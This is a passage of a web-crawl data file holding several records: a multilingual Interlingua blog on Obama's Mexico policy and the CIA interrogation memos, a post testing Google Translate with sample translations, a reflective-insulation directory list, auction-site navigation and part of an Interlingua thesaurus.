relaciones con México.\nEn la prensa de Washington se ha dicho que su estrategia incluiría el reforzamiento de la presencia de agentes federales en la frontera entre México y los Estados Unidos y el establecimiento de nuevos servicios de inteligencia destinados a ayudar al gobierno mexicano en su guerra contra los carteles de la droga.\nMéxico se ha convertido en un tema dominante para la clase política de los Estados Unidos debido a la explosión de violencia asociada al narcotráfico en ese país en los últimos meses, la cual causó la muerte de 7.200 personas el año pasado, según el gobierno mexicano.\nMuchos están convencidos que esa violencia ahora se encuentra en varias ciudades de los Estados Unidos a causa de la competencia creciente entre los carteles mexicanos y las mafias locales de los Estados Unidos.\nPor su parte, el gobierno mexicano se queja de que las armas que usan los narcotraficantes en sus batallas vienen por la mayor parte de los Estados Unidos, donde su adquisición es más fácil que en México.\nVarias personas creen que el plan de Obama incluirá una mejor coordinación entre los sistemas de inteligencia de México y de los Estados Unidos aunque hasta ahora ha habido problemas al respecto.\nWashington ha alabado la resolución del presidente Calderón al enfrentar a los carteles de la droga en su país, y la nueva administración americana dice querer apoyar plus fuertemente al gobierno de Mexico a través de la Iniciativa Mérida, un plan de tres años para controlar el narcotráfico en México, América Central y el Caribe.\nObama también dijo que quiere cambios en la legislación migratoria este año, pero parce probable que no los logre a causa del problema de la violencia en México que tendrá que confrontarse ahora mismo.\n---\nObama revela a sua política mexicana\nEsta semana a Casa Branca començou para divulgar a sua estratégia de gestão das relações com o México.\nA imprensa de Washington tem dito que sua estratégia seria incluir o reforço da presença de agentes federais na fronteira entre o México e os Estados Unidos e à criação de novos servicios de inteligência para ajudar o governo mexicano na sua guerra contra os cartéis de drogas.\nMéxico tornou-se um tema para a classe política nos Estados Unidos devido à explosão da violência associada com o tráfico de droga naquele país nos últimos meses, que matou 7.200 pessoas no ano passado, de acordo com o governo mexicano.\nMuitos estão convencidos de que a violência está a se mover a várias cidades dos Estados Unidos devido ao aumento da concorrência entre os cartéis mexicanos e as máfias locais nos Estados Unidos.\nPor seu lado, o governo mexicano queixa-se de que as armas utilizadas pelos traficantes de drogas em suas batalhas para a maior parte provêm dos Estados Unidos, onde a sua aquisição é mais fácil do que no México.\nVárias pessoas acreditam que o plano de Obama vai incluir uma melhor coordenação entre os sistemas de inteligência do México e dos Estados Unidos, mas até agora tem havido problemas entre os dois sistemas.\nWashington elogiou a decisão do presidente Calderón para enfrentar os cartéis da droga no seu país, e a nova administração americana diz que pretende apoiar mais fortemente o governo do México através da Iniciativa Mérida, um plano trienal para controlar narcotráfico no México, América Central e no Caribe.\nObama disse que ele também quer mudanças na legislação de imigração este ano, mas provavelmente não vai as conseguir, a causa dos problemas de violência no México, que terá de se enfrentar agora.\n---\nObama dévoile sa politique mexicaine.\nCette semaine, la Maison-Blanche commence à dévoiler sa stratégie pour la gestion des relations avec le Mexique.\nLa presse de Washington a déclaré que sa stratégie, va inclure le renforcement de la présence d'agents fédéraux à la frontière entre le Mexique et les États-Unis et la création de nouveaux services de renseignements visant à aider le gouvernement mexicain dans sa guerre contre les cartels qui contrôle le commerce de la drogue.\nLe Mexique est devenu une question dominante de la classe politique aux États-Unis en raison de l'explosion de la violence associée au trafic de drogue dans ce pays au cours des derniers mois, qui a tué 7.200 personnes l'année dernière, selon le gouvernement mexicain.\nBeaucoup de gens sont convaincus que la violence a été déplacée à plusieurs villes des États-Unis en raison d'une concurrence accrue entre les cartels mexicains et les divers gangs locaux aux États-Unis.\nPour sa part, le gouvernement du Mexique s'est plaint que les armes utilisées par les trafiquants de drogues dans leurs batailles habituellement proviennent des États-Unis, où leur acquisition est plus facile que dans le Mexique.\nPlusieurs personnes croient que le plan du nouveau président américain aura également une meilleure coordination entre les systèmes d'intelligence du Mexique et des États-Unis, mais jusqu'à présent il y a eu des problèmes entre les deux systèmes.\nWashington a salué la décision du Président Calderón à affronter les cartels de la drogue dans son pays, et la nouvelle administration américaine affirme qu'il veut soutenir plus fortement le gouvernement du Mexique à la mise en œuvre de l'Initiative de Merida, un plan de trois ans pour contrôler le trafic de drogue au Mexique, en Amérique centrale et dans les Caraïbes.\nObama a également dit qu'il veut des changements dans la législation sur l'immigration cette année, mais il ya des gens qui pensent qu'il n'aura pas beaucoup de chance d'atteindre cet objectif en raison de la violence au Mexique, qui doit être traitée immédiatement.\n---\nObama rivela la sua politica messicana\nQuesta settimana la Casa Bianca comencia a rivelare la sua strategia per la gestione delle sue relazioni con il Messico.\nLa stampa di Washington ha detto che la sua strategia dovrebbe includere il rafforzamento della presenza di agenti federali alla frontiera tra il Messico e gli Stati Uniti e la creazione di nuovi servizi di informazioni progettati per aiutare il governo messicano nella sua guerra contro i cartelli della droga.\nMessico è diventato un tema dominante per la classe politica degli Stati Uniti a causa delle esplosioni di violenza connessi con il traffico di droga nel paese negli ultimi mesi, che ha ucciso 7.200 persone l'anno scorso, secondo il governo messicano.\nMolti sono ormai convinti che questa violenza è stato spostato in diverse città degli Stati Uniti a causa della maggiore concorrenza tra i cartelli messicani e le mafie locali negli Stati Uniti.\nDa parte sua, il governo messicano si è lamentato del fatto che le armi utilizzate dai trafficanti di droga nelle loro battaglie per la maggior parte provengono dagli Stati Uniti, dove il suo acquisto è più facile che in Messico.\nMolte persone credono che il piano di Obama includerà un migliore coordinamento tra i sistemi di informazioni del Messico e gli Stati Uniti, ma fino ad ora ci sono stati problemi tra i sistemi dei due paesi.\nWashington ha lodato la decisione del Presidente Calderón per affrontare i cartelli della droga nel suo paese, e la nuova amministrazione americana dice di voler sostenere con maggiore forza il governo del Messico, attraverso l'Iniziativa Merida, un piano triennale per il controllo del traffico di droga in Messico, America centrale e i Caraibi.\nObamqa ha anche detto che vuole cambiamenti nella legislazione in materia di immigrazione questo anno, ma sembra probabile che egli non otterrà ciò che vuole a causa della violenza in Messico, che dovrà essere affrontata immediatamente.\n---\nObama reveals his Mexican policies\nThis week the White House is starting to disclose its strategy for managing relations with Mexico.\nThe Washington press has said that his strategy would include strengthening the presence of federal agents at the border between Mexico and the United States and the establishment of new intelligence services designed to help the Mexican government in its war against drug cartels.\nMexico has become a dominant issue within the political class in the United States because of the explosion of violence associated with drug trafficking in that country in recent months, which killed 7,200 people last year, according to the Mexican government.\nMany are convinced that violence has now moved to several U.S. cities because of increasing competition between Mexican cartels and the local mafias in the United States.\nFor its part, the Mexican government complained that the weapons used by drug traffickers in their battles come from the United States for the most part, where they are easier to buy than in Mexico.\nSome people believe that Obama's plan will include better coordination between the intelligence systems of Mexico and the United States, though up to now now there have been problems in doing this.\nWashington has praised the decision of President Calderon to confront the drug cartels in his country, and the new American administration says it wants to support more strongly the government of Mexico through the Merida Initiative, a three-year plan to control drug trafficking in Mexico, Central America, and the Caribbean.\nObama also said he wants changes in immigration legislation this year, but he probably won't be able to do this because of violence in Mexico, which will have to be confronted immediately.\nPosted by hkyson at 6:10 PM\nThursday, April 23, 2009\n(Languages of this post: Interlingua, Spanish, English)\nDick Cheney, le ex-vicepresidente del Statos Unite, demandava que le Agentia de Intelligentia Central (CIA) revela le documentos que demonstra que \"vermente functiona\" le technicas de interrogation applicate durante le administration de George W. Bush a personas suspectate de practicas de terrorismo.\n\"Un del cosas que io trova un pauco disagradabile sur le plus recente revelationes es que illos revelava al publico solmente le memorandos legal\", diceva Cheney. \"Ma on non publicava memos que monstra le successos considerabile del methodos que nos usava. Il ha reportos que monstra specificamente que nos obteneva beneficios como resultato de iste activitates. Iste documentos non ha essite declassificate. Io demanda formalmente que illos nunc sia declassificate.\"\nCheney insisteva que le publico debe haber le possibilitate de ponderar le beneficios considerables del intelligentia que nos obteneva in nostre guerra contra le terrorismo contra le methodos desagradabile que nos utilisava pro obtener iste information essential.\nDurante un visita al sede del CIA, Obama recognosceva que ille organisation ha confrontate dies \"difficile\", ma que illo habeva su appoio, specialmente in su travalio pro confrontar le menacias de gruppos como al-Qaeda. \"No se senti mal si nos debe recognoscer que potentialmente nos ha cadite in le error alicun vices\", diceva Obama. \"Assi es como nos apprende\".\nFinalmente Obama assecurava que le functionarios del CIA non essera processate sub le leges contra le tortura.\n---\nDick Cheney, el vicepresidente de los Estados Unidos, pidió a la Agencia Central de Inteligencia (CIA) que revele los documentos que demuestran que \"sí funcionan\" las técnicas de interrogación aplicadas durante el gobierno de George W. Bush a sospechosos de terrorismo.\n\"Una de las cosas que encuentro un poco desagradable sobre las más recientes revelaciones es que dieron a conocer solamente los memorandos legales\", dijo Cheney. \"Pero no se publicaron memos que muestran el éxito de los métodos que usamos. Hay informes que muestran específicamente que obtuvimos beneficios considerables como resultado de estas actividades. Estos documentos no han sido desclasificados. Formalmente pido que sean desclasificados ahora\".\nCheney insistió en que el público debe tener la posibilidad de ponderar los beneficios de inteligencia que se realizaron en nuestra guerra contra el terrorismo contra los métodos desagradables que se utilizaron para obtener esta información esencial.\nDurante una visita a la sede de la CIA, Obama reconoció que esa organización ha enfrentado días \"difíciles\", pero que tenía su apoyo, especialmente en su trabajo para hacer frente a amenazas de grupos como al-Qaeda. \"No se sientan mal si tenemos que reconocer que potencialmente hemos cometido algunos errores\", dijo Obama. \"Así es como aprendemos\".\nEn todo caso, Obama aseguró que los funcionarios de la CIA no serán procesados bajo las leyes anti-tortura.\n---\nDick Cheney, the former U.S. vice-president, asked the Central Intelligence Agency (CIA) to disclose documents showing that the interrogation techniques used during the administration of George W. Bush on terrorist suspects \"really work.\"\n\"One of the things that I find a bit disagreeable about the latest revelations is that they involve only legal memoranda,\" said Cheney. \"But no memos that show the significant success of the methods we used were revealed. There are reports detailing specific benefits that we obtained as a result of these activities. These documents have not been declassified. I am formally asking (that they be declassified now)\/(for them to be declassified now).\"\nCheney insisted that the public should have the opportunity to weigh the benefits of the intelligence gained in our war against terrorism against the unpleasant methods that were used to obtain this essential information.\nDuring a visit to the headquarters of the CIA, Obama acknowledged that that agency has gone through \"difficult\" days but that it had his support, especially in its work in confronting threats from groups like al-Qaeda. \"Don't feel bad if we have to recognize that we may have made a few mistakes,\" Obama said. \"That is how we learn.\"\nIn any event, Obama said that CIA officials will not be prosecuted under anti-torture laws.\nPosted by hkyson at 4:50 PM\nPolemica in le Statos Unite post le publication de documentos del administration de Bush que revela technicas de tortura usate per le CIA.\n(Languages of this post: Interlingua, French, English)\nLe presidente Barack Obama diceva que le lege obligava su governamento a publicar un collection de memoranda sur le technicas de interrogation del CIA preparate per le departamento de justitia inter 2002 e 2005, le quales mentiona, inter altere cosas, le simulation del necamento per suffocation de aqua e le privation de somno.\nMa simultaneemente Obama accentuava que su administration non ha ulle intention de processar legalmente le agentes del CIA qui ha usate iste technicas con le approbation del autoritates american. Le sol agentes que esserea persequite esseva illes qui ageva sin le approbation del administration de Bush.\nLe American Civil Liberties Union (ACLU) declarava que illo esseva felice que le administration de Obama ha publicate iste documentos. Ma illo anque ha dicite que il ha mensuras que debe esser prendite pro prevenir le repetition de iste practicas illegal. Illo ha declarate que le Congresso debe crear un commission que facera un investigation detaliate sur le historia de iste practicas e que le ministro de justitia deberea nominar un homine de leges special pro determinar si il ha agentes american involvite in iste technicas qui deberea esser processate legalmente.\nMichael Hayden, le ex-director del CIA durante le administration de Bush, protestava fortemente contra le publication de iste memoranda. Ille time que iste revelationes compromittera le securitate national del Statos Unite. Plus tarde, dice ille, le terroristas potera preparar lor agentes a resister iste technicas si illos essera usate de novo.\nMa alteres ha dicite que iste technicas son ampliamente cognoscite a causa de informationes jam publicate in altere documentos, e le publication de iste memoranda per le homines de leges del departamento de justitia non presentara altere problemas.\n---\nLe président Barack Obama a dit que la loi obligeait son gouvernement à publier des mémorandums sur les techniques d'interrogatoire de la CIA préparés par le ministère de la Justice entre 2002 et 2005 qui mentionnent, entre autres choses, la simulation de noyade et la privation de sommeil.\nMais en même temps, Obama a souligné que son administration n'a pas l'intention de poursuivre les agents de la CIA qui ont utilisé ces techniques avec l'approbation des autorités américaines. Les seuls qui seraient poursuivis sont ceux qui ont agi sans l'approbation de l'administration Bush.\nL'American Civil Liberties Union (ACLU) a déclaré qu'il était heureux que l'administration Obama publié ces documents. Mais il a ajouté que des mesures doivent être prises pour prévenir la répétition de ces pratiques illégales. Il a déclaré que le Congrès doit créer une commission qui fera une enquête approfondie sur l'histoire de ces pratiques et que le ministère de la Justice devrait nommer un procureur spécial pour déterminer si des agents américains engagés dans ces pratiques doivent être poursuivis.\nMichael Hayden, ex-directeur de la CIA sous l'administration Bush, a protesté avec virulence contre la publication de ces mémorandums. Il craint que ces révélations ne compromettent la sécurité nationale des États-Unis. Plus tard, dit-il, les terroristes seront en mesure de préparer leurs agents à résister à ces techniques si elles sont utilisées de nouveau.\nMais d'autres ont dit que ces techniques sont largement connus à partir d'autres documents, et la publication de ces protocoles par les avocats du ministère de la Justice, ne présente pas d'autres problèmes.\n---\nPresident Barack Obama said that the law required his government to publish documents on interrogation techniques used by the CIA. prepared by the Attorney General's office between 2002 and 2005, which, among other things, refer to simulated drowning and sleep deprivation.\nBut at the same time Obama emphasized that his administration has no intention to prosecute any CIA agents who used these techniques with the approval of American authorities. The only ones who would be prosecuted are people who acted without the approval of the Bush administration.\nThe American Civil Liberties Union (ACLU) said it was happy that Obama's administration published these documents. But it added that measures must be taken to prevent a reoccurrence of these illegal practices. It said that Congress should create a commission that will make a detailed investigation of the history of these practices and that the Department of Justice should appoint a special prosecutor to determine if any American agents engaged in these practices should be prosecuted.\nMichael Hayden, former director of the CIA under the Bush administration, virulently protested the publication of the memoranda. He fears that these revelations will compromise the national security of the Untied States. Later on, he says, terrorists will be able to prepare their agents to resist these techniques if they are used once again.\nBut others have said that these techniques are widely known from other documents, and the publication of these memoranda by lawyers from the Justice Department will not present any further problems.\nPosted by hkyson at 4:31 PM","id":"","dump":"CC-MAIN-2017-13","url":"http:\/\/interlinguamultilingue.blogspot.com\/2009_04_01_archive.html","date":"2017-03-26T17:02:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-13\/segments\/1490218189244.95\/warc\/CC-MAIN-20170322212949-00530-ip-10-233-31-227.ec2.internal.warc.gz","language":"ina","language_score":0.5793358088,"language_script":"Latn","minhash_cluster_size":19,"top_langs":"{\"ina_Latn_score\": 0.5793358087539673, \"eng_Latn_score\": 0.10835904628038406, \"por_Latn_score\": 0.05180903151631355, \"spa_Latn_score\": 0.05086851492524147, \"cbk_Latn_score\": 0.033885326236486435, \"ita_Latn_score\": 0.01143760047852993}","num_words":21284,"character_repetition_ratio":0.039,"word_repetition_ratio":0.009,"special_characters_ratio":0.189,"stopwords_ratio":0.027,"flagged_words_ratio":0.0,"lang_id_score":0.615,"perplexity_score":2256.0,"cluster_detection":-1} +{"text":"Home » Aste per le vendite veicoli » Aste per le vendite macchine edili » Aste per le vendite autogruAste per le vendite gru a torreAste per le vendite gru cingolate » Aste per le vendite autogru FAUNAste per le vendite GROVEAste per le vendite SANYAste per le vendite TADANOAste per le vendite TEREXAste per le vendite XCMG","id":"","dump":"CC-MAIN-2017-17","url":"http:\/\/autoline-eu.it\/-\/Aste\/autogru\/FAUN--a5c120tm2552","date":"2017-04-26T19:40:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917121644.94\/warc\/CC-MAIN-20170423031201-00186-ip-10-145-167-34.ec2.internal.warc.gz","language":"ina","language_score":0.7327481508,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.7327481508255005, \"frp_Latn_score\": 0.09345798194408417, \"ita_Latn_score\": 0.061946164816617966, \"lmo_Latn_score\": 0.044832296669483185, \"nap_Latn_score\": 0.037577901035547256, \"bew_Latn_score\": 0.015189875848591328}","num_words":101,"character_repetition_ratio":0.41,"word_repetition_ratio":0.0,"special_characters_ratio":0.188,"stopwords_ratio":0.059,"flagged_words_ratio":0.0,"lang_id_score":0.932,"perplexity_score":1871.4,"cluster_detection":-1} +{"text":"|Reflective Insulation in Alabama||Reflective Insulation in Alaska|\n|Reflective Insulation in Alberta||Reflective Insulation in Arizona|\n|Reflective Insulation in Arkansas||Reflective Insulation in British Columbia|\n|Reflective Insulation in California||Reflective Insulation in Colorado|\n|Reflective Insulation in Connecticut||Reflective Insulation in Delaware|\n|Reflective Insulation in Florida||Reflective Insulation in Georgia|\n|Reflective Insulation in Hawaii||Reflective Insulation in Idaho|\n|Reflective Insulation in Illinois||Reflective Insulation in Indiana|\n|Reflective Insulation in Iowa||Reflective Insulation in Kansas|\n|Reflective Insulation in Kentucky||Reflective Insulation in Louisana|\n|Reflective Insulation in Maine||Reflective Insulation in Manitoba|\n|Reflective Insulation in Maryland\/DC||Reflective Insulation in Massachusetts|\n|Reflective Insulation in Michigan||Reflective Insulation in Minnesota|\n|Reflective Insulation in Mississippi||Reflective Insulation in Missouri|\n|Reflective Insulation in Montana||Reflective Insulation in Nebraska|\n|Reflective Insulation in Nevada||Reflective Insulation in New Brunswick|\n|Reflective Insulation in New Hapshire||Reflective Insulation in New Jersey|\n|Reflective Insulation in New Mexico||Reflective Insulation in New York|\n|Reflective Insulation in Newfoundland and Labrador||Reflective Insulation in North Carolina|\n|Reflective Insulation in North Dakota||Reflective Insulation in Northwest Territories|\n|Reflective Insulation in Nova Scotia||Reflective Insulation in Nunavut|\n|Reflective Insulation in Ohio||Reflective Insulation in Oklahoma|\n|Reflective Insulation in Ontario||Reflective Insulation in Oregon|\n|Reflective Insulation in Pennsylvania||Reflective Insulation in Prince Edwards Island|\n|Reflective Insulation in Quebec||Reflective Insulation in Rhode Island|\n|Reflective Insulation in Saskatchewan||Reflective Insulation in South Carolina|\n|Reflective Insulation in South Dakota||Reflective Insulation in Tennessee|\n|Reflective Insulation in Texas||Reflective Insulation in Utah|\n|Reflective Insulation in Vermont||Reflective Insulation in Virginia|\n|Reflective Insulation in Washington||Reflective Insulation in West Virginia|\n|Reflective Insulation in Wisconsin||Reflective Insulation in Wyoming|\n|Reflective Insulation in Yukon|","id":"","dump":"CC-MAIN-2017-17","url":"https:\/\/industrynet.com\/categories\/IN1118\/reflective-insulation","date":"2017-04-26T01:40:43Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917121000.17\/warc\/CC-MAIN-20170423031201-00480-ip-10-145-167-34.ec2.internal.warc.gz","language":"ina","language_score":0.4083985686,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.4083985686302185, \"eng_Latn_score\": 0.21616390347480774, \"dag_Latn_score\": 0.07928898930549622, \"sco_Latn_score\": 0.05851016193628311, \"ile_Latn_score\": 0.031490642577409744, \"deu_Latn_score\": 0.027307365089654922, \"slv_Latn_score\": 0.02560473419725895, \"bem_Latn_score\": 0.011215655133128166, \"kiu_Latn_score\": 0.010560920462012291}","num_words":586,"character_repetition_ratio":0.541,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.116,"flagged_words_ratio":0.0,"lang_id_score":0.557,"perplexity_score":18884.3,"cluster_detection":-1} +{"text":"Thursday, June 25, 2009\nTraduction automatic per Google\n(Nota: Le autor de iste articulo multilingue vole saper si il essera possibile adder interlingua al lista de linguas que le traductor electronic de Google pote processor. Le responsa probabilemente essera que isto non es possibile proque il non ha un numero de usatores de interlingua assatis grande pro justificar le investimento de tempore e labor pro adder interlingua a iste traductor automatic. -–Harleigh Kyson Jr.)\n\"Google translate\" usa un methodo statistic pro generar su programmas pro traduction e non le methodo traditional basate a dictionarios e regulas. Le methodo statistic require duo grande corpuses (corpi) del lingua origine e del lingua objective.\nIo ha facite alcun probas con linguas que io maestra e io es surprendite del bon resultatos. Naturalmente le traductiones non es perfecte ma de bon adjuta quando on ha besonio de adjuta a comprender un texto estranier\nEsque possibile a includer interlingua al lista del linguas que Google pote tractar? Io non sape. Un bon fonte debe esser un corpus de tote textos de Panorama. Esque nos ha un tal? Le proxime problema es si nos ha le mesme texto in un altere grande lingua. Probabilemente nos non ha lo. Ha nos alere textos de bon interlingua? Forsan le textos del autor svedese August Strindberg que Pian Boalt ha traducite a interlingua? Altere propositiones?\nNunc como experimento io va traducer iste texto a svedese e usar iste traduction pro facer Google Translate generar textos in altere linguas. Illos seque hic infra.\nJanne\n…\nSvenska (original)\n\"Google translate\" använder en statistisk metod för att generera sina program för översättning och inte den traditionella grundad på lexikon och regler. Den statistiska metoden kräver två stora korpusar (corpi) av originalspråket och målspråket.\nJag har gjort några prov med språk som jag behärskar och jag är förvånad över de goda resultaten. Natuligtvis är översättningarna inte perfekta men är till god hjälp för att förstå en främmande text.\nÄr det möjligt att inkludera interlingua i listan över språk som Google kan behandla? Jag vet inte. En bra grund kan vara en stor korpus av alla texter i Panorama. Finns det en sådan? Nästa problem är att finna samma text i ett annat stort språk. Förmodligen har vi inte det. Finns det andra texter på god interlingua? Kanske texter av den svenske författaren August Strindberg som Pian Boalt har översatt till interlingua. Andra förslag?\nEnglish\n\"Google translate\" using a statistical method to generate their plans for the translation and not the traditional based on dictionaries and rules. The statistical method requires two large corpora (corpi) of the original language and target language.\nI have done some testing with the language that I mastered, and I am surprised at the good results. Natuligtvis translations are not perfect but is useful for understanding a foreign text.\nIs it possible to include interlingua in the list of languages that Google can process? I do not know. A good foundation can be a great corpus of all the texts in the Panorama. Is there one? The next problem is to find the same text in another major language. Probably we do not have it. Are there other texts in good interlingua? Perhaps the texts of the Swedish author August Strindberg that Pian Boalt has been translated into interlingua. Other suggestions?\nDeutsch\n\"Google Translate\" mit einer statistischen Methode, um ihre Pläne für die Übersetzung und nicht der traditionellen auf der Grundlage von Wörterbüchern und Regeln. Die statistische Methode erfordert zwei große Korpora (corpi) der Originalsprache und Zielsprache.\nIch haben einige Tests mit der Sprache, die ich beherrschte, und ich bin erstaunt über die guten Ergebnisse. Natuligtvis Übersetzungen sind nicht perfekt, aber ist nützlich für das Verständnis einer fremden Text.\nIst es möglich, Interlingua in der Liste der Sprachen, die Google verarbeiten kann? Ich weiß es nicht. Ein gutes Fundament kann ein großer Bestand an alle die Texte in den Panorama. Gibt es ein? Das nächste Problem ist es, den gleichen Text in einem anderen großen Sprache. Wahrscheinlich wir es nicht haben. Gibt es noch andere Texte in gutem Deutsch? Vielleicht die Texte des schwedischen Autors August Strindberg, dass Pian Boalt wurde in Interlingua. Andere Vorschläge?\nItaliano\n\"Google Translate\" utilizzando un metodo statistico per generare i loro piani per la traduzione e non il tradizionale basata su dizionari e le regole. Il metodo statistico richiede due grandi corpora (Corpi), della lingua originale e la lingua di destinazione.\nHo fatto alcune prove con la lingua che ho masterizzato, e mi sorprende a buoni risultati. Natuligtvis traduzioni non sono perfette, ma è utile per la comprensione di un testo straniero.\nE 'possibile includere in interlingua l'elenco delle lingue che Google può processo? Non lo so. Una buona base può essere un grande corpus di tutti i testi in Panorama. C'è uno? Il problema successivo è quello di trovare lo stesso testo in un'altra lingua principale. Probabilmente non abbiamo essa. Esistono altri testi in buona interlingua? Forse il testo delle autore svedese August Strindberg che Pian Boalt è stato tradotto in Italiano. Altri suggerimenti?\nFrancais\n\"Google Translate\" en utilisant une méthode statistique pour générer leurs plans pour la traduction et non pas le traditionnel basé sur des dictionnaires et des règles. La méthode statistique exige deux grands corpus (corpi) de la langue d'origine et de langue cible.\nJ'ai fait quelques tests avec la langue que je maîtrise, et je suis surpris par les bons résultats. Natuligtvis traductions ne sont pas parfait, mais est utile pour la compréhension d'un texte étranger.\nEst-il possible d'inclure interlingua dans la liste des langues que Google peut traiter? Je ne sais pas. Une bonne base peut être un grand corpus de tous les textes dans le Panorama. Existe-t-il un? Le problème est de trouver le même texte dans une autre langue majeure. Probablement, nous ne l'avons pas. Existe-t-il d'autres textes en interlingua? Peut-être les textes de l'auteur suédois août Strindberg que Pian Boalt a été traduit en Français. D'autres suggestions?\nNederland\n\"Google vertalen\" met behulp van een statistische methode voor het genereren van hun plannen voor de vertaling en niet gebaseerd op de traditionele woordenboeken en regels. De statistische methode vereist twee grote corpora (corpi) van de oorspronkelijke taal en doeltaal.\nIk heb gedaan wat testen met de taal die ik bedwongen, en ik ben verbaasd over de goede resultaten. Natuligtvis vertalingen zijn niet perfect, maar is handig om inzicht te krijgen in een vreemde tekst.\nIs het mogelijk om interlingua in de lijst van talen die Google kan verwerken? Ik weet het niet. Een goede basis kan een grote corpus van alle teksten in de Panorama. Is er een? Het volgende probleem is het vinden van dezelfde tekst in een andere belangrijke taal. Waarschijnlijk we nu niet hebben. Zijn er andere teksten in goede Interlingua? Misschien dat de teksten van de Zweedse auteur augustus Strindberg dat Pian Boalt is vertaald in het Interlingua. Andere suggesties?\nRusski\n\"Google Translate\" с использованием статистического метода для создания своих планах по переводу, а не основываться на традиционных словарей и правил. Статистический метод требует двух больших корпусов (corpi) на языке оригинала и язык перевода.\nЯ сделал некоторые испытания с языком, который я освоил, и я с удивлением на хорошие результаты. Natuligtvis Перевод не идеальный, но полезный для понимания иностранного текста.\nМожно ли включить Интерлингва в список языков, что Google может обрабатывать? Я не знаю. Хорошей основой может быть большой корпус всех текстов, в Панораме. Есть один? Следующая проблема заключается в том, чтобы найти тот же текст в другом основным языком. Наверное, у нас нет его. Существуют ли другие документы, в хорошем Интерлингва? Возможно, тексты шведского автора августа Strindberg что Pian Boalt была переведена на интерлингва. Другие предложения?\nPosted by hkyson at 7:53 AM","id":"","dump":"CC-MAIN-2017-22","url":"http:\/\/interlinguamultilingue.blogspot.com\/2009\/06\/traudction-automatic-per-google.html","date":"2017-05-30T05:26:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-22\/segments\/1495463613796.37\/warc\/CC-MAIN-20170530051312-20170530071312-00259.warc.gz","language":"ina","language_score":0.3379502892,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"ina_Latn_score\": 0.33795028924942017, \"swe_Latn_score\": 0.06659463793039322, \"nov_Latn_score\": 0.04208751022815704, \"frp_Latn_score\": 0.033369552344083786, \"nld_Latn_score\": 0.027703674510121346, \"ile_Latn_score\": 0.02572275698184967, \"eus_Latn_score\": 0.022326547652482986, \"lat_Latn_score\": 0.020549489185214043, \"ita_Latn_score\": 0.020034465938806534, \"fra_Latn_score\": 0.01867750659584999, \"dag_Latn_score\": 0.01836927980184555, \"roh_Latn_score\": 0.017970222979784012, \"lmo_Latn_score\": 0.017353521659970284, \"srd_Latn_score\": 0.01646404340863228, \"vls_Latn_score\": 0.016382591798901558, \"ron_Latn_score\": 0.01333833672106266, \"gsw_Latn_score\": 0.013245251029729843, \"eng_Latn_score\": 0.012408166192471981, \"vec_Latn_score\": 0.010335331782698631, \"lvs_Latn_score\": 0.010131626389920712}","num_words":2654,"character_repetition_ratio":0.055,"word_repetition_ratio":0.0,"special_characters_ratio":0.184,"stopwords_ratio":0.045,"flagged_words_ratio":0.0,"lang_id_score":0.306,"perplexity_score":6218.2,"cluster_detection":-1} +{"text":"Thesauro A AEDO AN AQUA B C CARTA CI COMEDIA CONNATURAL CORPORE D DESOLAR DISGUSTAR E ES F G H I INDUBITABILE INTER J K L M ME MOA N O P PE PI POPULO PRO Q R REGULA RETRO S SE SO SU T TOALIA U V W X Y Z DModificar D da capo [I]Modificar da capo da me le tempore de respirar un pauco \/ pocoModificar da me un altere vitroModificar da me un altero vitro DaciaModificar dacicModificar dacico(s) \/ dacica(s) dacronModificar dacron [le dactylicModificar dactylico(s) \/ dactylica(s) dactylisModificar dactylis [la dactylis glomerateModificar dactylis glomerata dactyloModificar dactylo de marModificar dactylo marinModificar dactylo marino dactylogrammaModificar dactylogramma geneticModificar dactylogramma genetico dactylographarModificar dactylographar sin reguardar le clavieroModificar dactylographar un reportoModificar dactylographiaModificar dactylographicModificar dactylographico(s) \/ dactylographica(s) dactylographoModificar dactylologiaModificar dactylologicModificar dactylologico(s) \/ dactylologica(s) dactylorchisModificar dactylorchis [la dactylorchis maculateModificar dactylorchis maculata dactyloscopiaModificar dactyloscopicModificar dactyloscopico(s) \/ dactyloscopica(s) dadaModificar dadaismoModificar dadaistaModificar dadaista adj, sub dagaModificar dagarModificar daguerrotyparModificar daguerrotypiaModificar daguerrotypoModificar dahliaModificar Dalai LamaModificar dalmataModificar dalmata [le \/ la DalmatiaModificar dalmatianModificar dalmatiano(s) \/ dalmatiana(s) dalmatianoModificar dalmaticModificar dalmatico(s) \/ dalmatica(s) dalmaticaModificar dalmatinModificar dalmatino(s) \/ dalmatina(s) DaltonModificar daltonianModificar daltoniano(s) \/ daltoniana(s) daltonismoModificar damaModificar dama de companiaModificar dama de corteModificar dama de honorModificar dama de piccaModificar dama de spadaModificar dama del vestiarioModificar damajanaModificar damaliscoModificar damanModificar daman [le damascarModificar damascar vb damascenModificar damasceno(s) \/ damascena(s) damascenageModificar damascenarModificar damascenatorModificar damascenoModificar DamascoModificar damascoModificar damasco pro mobilesModificar damieroModificar damisellaModificar damisella de honorModificar damnabileModificar damnabile(s) damnabilitateModificar damnarModificar damnationModificar damnation eterneModificar damnation eterna damnificarModificar damnoModificar damno(s) al motorModificar damno causate per le focoModificar damno causato per le foco damno causate per le incendioModificar damno causato per le incendio damno ecologicModificar damno ecologico damno financiariModificar damno financiario damno irreparabileModificar damno moralModificar damno substantialModificar damno(s) causate per erucasModificar damno_causato \/ damons_causatos per erucas damno(s) causate per le focoModificar damno_causato \/ damnos_causatos per le foco damno(s) causate per le geloModificar damno_causato \/ damnos_causatos per le gelo damno(s) causate per le grandineModificar damno_causato \/ damnos_causatos per la grandine damno(s) causate per le mucorModificar damno_causato \/ damnos_causatos per le mucor damno(s) causate per le tempestaModificar damno_causato \/ damnos_causatos per le tempesta damno(s) de focoModificar damno(s) de geloModificar damno(s) de grandineModificar damno(s) de guerraModificar damno(s) de incendioModificar damno(s) de inundationModificar damno(s) de rupturaModificar damno(s) eventualModificar damno_eventual \/ damnos_eventuales damno(s) fungicModificar damno_fungico \/ damnos_fungicos damno(s) 